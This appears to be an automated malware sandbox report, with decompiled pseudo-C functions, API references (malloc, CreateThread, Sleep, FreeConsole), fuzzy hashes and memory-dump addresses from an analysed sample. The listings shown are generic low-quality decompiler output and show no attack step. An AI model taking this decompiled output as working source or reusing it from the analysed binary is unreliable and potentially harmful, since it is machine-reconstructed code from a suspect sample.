Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 8bdbe7da47abf7bdd34711e4b21fdbb738b81bba68149a6cd02cabac44224b63
Instruction ID: 39fc1d7ca1eda0e5942fd6c04aadeba0cd4ecc13442bf53e9cc0331174895609
Opcode Fuzzy Hash: 8bdbe7da47abf7bdd34711e4b21fdbb738b81bba68149a6cd02cabac44224b63
Instruction Fuzzy Hash: D3214AB16052008FE340DF25E44571A7BE0FB6130CF01825DE1899B361D779D848CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00417A3C Relevance: 1.3, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00417A3C(void* __ebx, void* _a44) {
				void* _t16;
				intOrPtr _t23;
				intOrPtr _t25;
				void* _t27;
				void* _t29;
				intOrPtr _t31;
				void* _t32;
				void* _t34;
				void* _t36;
				intOrPtr* _t39;
				void* _t40;

				_t29 = __ebx;
				_t31 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t31 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t22 =  *8;
					asm("ud2");
					_t32 = _t31 + 1;
					 *_t39 =  *8;
					if(_t32 == 0) {
						E004ABE80();
					}
					_t23 = E00422E70(_t22, _t29, _t32, _t34, _t36);
					_t33 = _t32 + 1;
					 *_t39 = _t23;
					if(_t32 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t23, _t29, _t33, _t34, _t36);
					_t40 = _t39 - 0x1c;
					_t25 =  *0x5b89d4; // 0x2
					if(_t25 != 0) {
						 *_t40 = 0x5b8cb8;
						E00420810();
					}
					 *_t40 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t27 = malloc(??); // executed
					 *0x5b8cc4 = _t27;
					if(_t27 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t27;
						 *_t27 = 0x4a00;
						 *(_t27 + 4) = 0;
					}
					 *_t40 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c324c;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 8;
					return _t16;
				}
			}

0x00417a3c
0x00417a3c
0x00417a42
0x004adb2e
0x004adb3b
0x004adb3d
0x004adb4a
0x004adb4c
0x004adb59
0x004adb5b
0x004adb68
0x004adb6a
0x004adb77
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x00417a48
0x00417a48
0x00417a4a
0x00417a4d
0x00417a50
0x00417a53
0x00417a5a
0x00417a5d
0x00417a63
0x00417a6a
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0afcf968edadc3d226ab0683d82f3e548de8977072f7a96c6b42a29c8385a00e
Instruction ID: 4d54b06efd6b436f344579c16321455ee44e75111adf6c6025e203e10fa79d09
Opcode Fuzzy Hash: 0afcf968edadc3d226ab0683d82f3e548de8977072f7a96c6b42a29c8385a00e
Instruction Fuzzy Hash: 6A214CB16052008FE340DF29E44572A7BE0FB6130CF41825DD5899B361D77DD848CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004179CE Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E004179CE(void* __ebx, void* _a44) {
				void* _t15;
				intOrPtr _t21;
				intOrPtr _t23;
				void* _t25;
				void* _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t32;
				void* _t34;
				intOrPtr* _t37;
				void* _t38;

				_t27 = __ebx;
				_t29 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t29 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t20 =  *8;
					asm("ud2");
					_t30 = _t29 + 1;
					 *_t37 =  *8;
					if(_t30 == 0) {
						E004ABE80();
					}
					_t21 = E00422E70(_t20, _t27, _t30, _t32, _t34);
					_t31 = _t30 + 1;
					 *_t37 = _t21;
					if(_t30 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t21, _t27, _t31, _t32, _t34);
					_t38 = _t37 - 0x1c;
					_t23 =  *0x5b89d4; // 0x2
					if(_t23 != 0) {
						 *_t38 = 0x5b8cb8;
						E00420810();
					}
					 *_t38 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t25 = malloc(??); // executed
					 *0x5b8cc4 = _t25;
					if(_t25 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t25;
						 *_t25 = 0x4a00;
						 *(_t25 + 4) = 0;
					}
					 *_t38 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c3224;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 4;
					return _t15;
				}
			}

0x004179ce
0x004179ce
0x004179d4
0x004adb3d
0x004adb4a
0x004adb4c
0x004adb59
0x004adb5b
0x004adb68
0x004adb6a
0x004adb77
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x004179da
0x004179da
0x004179dc
0x004179df
0x004179e2
0x004179e5
0x004179ec
0x004179ef
0x004179f5
0x004179fc
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 357e7955ab57be9d4cbe1c17ff483a9f60838c1d60b9ff5e4942eb32f7101f6a
Instruction ID: 2b94bfd1bf649cdb3839a0788ecba28da819adc1b81419d07713b8bf6d58d524
Opcode Fuzzy Hash: 357e7955ab57be9d4cbe1c17ff483a9f60838c1d60b9ff5e4942eb32f7101f6a
Instruction Fuzzy Hash: 09216AB16052008FE340EF25E84572A7BE0FB6230CF41825DD5898B762DBBDD849CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004177FE Relevance: 1.3, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004177FE(void* __ebx, void* _a44) {
				void* _t13;
				intOrPtr _t17;
				intOrPtr _t19;
				void* _t21;
				void* _t23;
				intOrPtr _t25;
				void* _t26;
				void* _t28;
				void* _t30;
				intOrPtr* _t33;
				void* _t34;

				_t23 = __ebx;
				_t25 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t25 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t16 =  *8;
					asm("ud2");
					_t26 = _t25 + 1;
					 *_t33 =  *8;
					if(_t26 == 0) {
						E004ABE80();
					}
					_t17 = E00422E70(_t16, _t23, _t26, _t28, _t30);
					_t27 = _t26 + 1;
					 *_t33 = _t17;
					if(_t26 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t17, _t23, _t27, _t28, _t30);
					_t34 = _t33 - 0x1c;
					_t19 =  *0x5b89d4; // 0x2
					if(_t19 != 0) {
						 *_t34 = 0x5b8cb8;
						E00420810();
					}
					 *_t34 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t21 = malloc(??); // executed
					 *0x5b8cc4 = _t21;
					if(_t21 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t21;
						 *_t21 = 0x4a00;
						 *(_t21 + 4) = 0;
					}
					 *_t34 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c3238;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 8;
					return _t13;
				}
			}

0x004177fe
0x004177fe
0x00417804
0x004adb5b
0x004adb68
0x004adb6a
0x004adb77
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x0041780a
0x0041780a
0x0041780c
0x0041780f
0x00417812
0x00417815
0x0041781c
0x0041781f
0x00417825
0x0041782c
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0a6f46b2e75e5e74c6829faef8fb22d8e09d62eaf2dfcb7dfa12773422abd7d5
Instruction ID: a95b508b7e986ea267cdbdd4e54a2584c982b1cb93731ecce97fbbaf16b009e4
Opcode Fuzzy Hash: 0a6f46b2e75e5e74c6829faef8fb22d8e09d62eaf2dfcb7dfa12773422abd7d5
Instruction Fuzzy Hash: BC115EB16052008FE740AF65E48572A7BE1FB62308F41925DD5854B762D77CD848CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00417835 Relevance: 1.3, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00417835(void* __ebx, void* _a44) {
				void* _t11;
				intOrPtr _t13;
				intOrPtr _t15;
				void* _t17;
				void* _t19;
				intOrPtr _t21;
				void* _t22;
				void* _t24;
				void* _t26;
				intOrPtr* _t29;
				void* _t30;

				_t19 = __ebx;
				_t21 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t21 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					_t12 =  *8;
					asm("ud2");
					_t22 = _t21 + 1;
					 *_t29 =  *8;
					if(_t22 == 0) {
						E004ABE80();
					}
					_t13 = E00422E70(_t12, _t19, _t22, _t24, _t26);
					_t23 = _t22 + 1;
					 *_t29 = _t13;
					if(_t22 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t13, _t19, _t23, _t24, _t26);
					_t30 = _t29 - 0x1c;
					_t15 =  *0x5b89d4; // 0x2
					if(_t15 != 0) {
						 *_t30 = 0x5b8cb8;
						E00420810();
					}
					 *_t30 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t17 = malloc(??); // executed
					 *0x5b8cc4 = _t17;
					if(_t17 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t17;
						 *_t17 = 0x4a00;
						 *(_t17 + 4) = 0;
					}
					 *_t30 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c3260;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 0x11;
					return _t11;
				}
			}

0x00417835
0x00417835
0x0041783b
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x00417841
0x00417841
0x00417843
0x00417846
0x00417849
0x0041784c
0x00417853
0x00417856
0x0041785c
0x00417863
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1bdd02f88356628f5ca1a76d5e04f6fe5656fcf81f1ac45cf80ab7297bb23fa7
Instruction ID: 87ebfc333a674da93ee63a962e13b3d1625227f86b06d3ea021367b11d92d1ee
Opcode Fuzzy Hash: 1bdd02f88356628f5ca1a76d5e04f6fe5656fcf81f1ac45cf80ab7297bb23fa7
Instruction Fuzzy Hash: 58118EB0A092008FD740AF65E48532A7AF1FB22308F4591AED4454F766DB78D804DFAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040125C Relevance: 7.6, APIs: 5, Instructions: 91
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID:
API String ID: 701060287-0
Opcode ID: cbcd9cbd662a9cd3131aa66ccc0859c5c6260b3ea13316cde80f6ccceab66d2f
Instruction ID: b6d3dfe8bd069d84c33738c0321697c7d9231e9e23279dfe07e3e6585eaa9d5a
Opcode Fuzzy Hash: cbcd9cbd662a9cd3131aa66ccc0859c5c6260b3ea13316cde80f6ccceab66d2f
Instruction Fuzzy Hash: 3A3157B1E083158FDB14DF65E88069AB7F2FB44304F10897EE945A73A1E738A845CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00401299 Relevance: 7.6, APIs: 5, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID:
API String ID: 701060287-0
Opcode ID: 1b5dadeccd89256e35b78f3935bb250aecada5878cf046447429bfaa1044c0b3
Instruction ID: 9373b3134a4c719f5e643b064b8b22c230a1cdc2a7dbb752b9a74e06227bdeab
Opcode Fuzzy Hash: 1b5dadeccd89256e35b78f3935bb250aecada5878cf046447429bfaa1044c0b3
Instruction Fuzzy Hash: D73146B1E043118FDB10DF65E88065AB7F2FB48318F148A3EE949A7361E738A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00401289 Relevance: 7.6, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID:
API String ID: 701060287-0
Opcode ID: f6bfe35b6032efd0ff090c3657483e2fb653ec17f5ba274b27f9bfbf2fcea079
Instruction ID: c315d27787b29aa5414022220ca9c91ddf018d41ba6331a86cd9fe11fef83afd
Opcode Fuzzy Hash: f6bfe35b6032efd0ff090c3657483e2fb653ec17f5ba274b27f9bfbf2fcea079
Instruction Fuzzy Hash: B73124B0E04311CFDB10DF65E88065AB7F2BB48308F118A3EE949A7361E738A9458F95

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5C Relevance: 4.6, APIs: 3, Instructions: 60
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 00401CB3
malloc.MSVCRT ref: 00401CD2
CreateThread.KERNELBASE ref: 00401D0E

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: CreateSleepThreadmalloc
String ID:
API String ID: 4070291661-0
Opcode ID: 2a5bff12d95451cd50ce7e433b52e44b71ba80be2e4045e9d65d66b3b4710948
Instruction ID: e900e343ad6d36c8f6ef17e635b3037a293cab385e591b68cc00c906b3d2e178
Opcode Fuzzy Hash: 2a5bff12d95451cd50ce7e433b52e44b71ba80be2e4045e9d65d66b3b4710948
Instruction Fuzzy Hash: 5E21D6B0809209CFDB10DFA9E54879EBBF0BF54308F14452AE494A7390C7B8A948CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405E65 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 004060A2

Strings

Z, xrefs: 00405FD3

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: ConsoleFree
String ID: Z
API String ID: 771614528-1505515367
Opcode ID: ce784b6e3e99e87d800136df8a9b6d37e0a3907c5262dd74f8d799d554972af4
Instruction ID: 425e932eb3d5a3714e200da3f2570a99ea61d8cd27bfbaa6948032778574c620
Opcode Fuzzy Hash: ce784b6e3e99e87d800136df8a9b6d37e0a3907c5262dd74f8d799d554972af4
Instruction Fuzzy Hash: 7871B574E046598FDB60CF69C880BDDBBF1AF49314F1481AAD449EB351EB389E858F40

Uniqueness

Uniqueness Score: -1.00%

Function 004317E0 Relevance: 1.5, APIs: 1, Instructions: 11
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00431801

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
